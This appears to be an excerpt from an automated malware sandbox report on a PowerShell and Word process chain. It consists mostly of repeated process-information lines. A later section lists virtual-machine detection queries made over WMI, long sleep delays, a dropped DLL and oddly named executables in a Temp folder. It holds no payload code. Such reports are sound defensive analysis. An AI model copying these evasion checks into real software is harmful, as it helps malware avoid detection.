Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE			Jump to behavior

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDrive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Source: C:\Windows\Temp\svczHost.exe	Memory allocated: 26D565F0000 memory reserve \| memory write watch
Source: C:\Windows\Temp\myRdpService.exe	Memory allocated: 2B354530000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9931	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9920	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9885	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9902
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9885
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9647
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9903
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9904
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9881

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.dll

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2268	Thread sleep count: 9931 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4408	Thread sleep count: 9885 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5228	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5228	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8352	Thread sleep count: 9885 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8004	Thread sleep count: 9647 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8004	Thread sleep count: 237 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7244	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4740	Thread sleep count: 9903 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2704	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1580	Thread sleep count: 9904 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5824	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3404	Thread sleep count: 9881 > 30

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

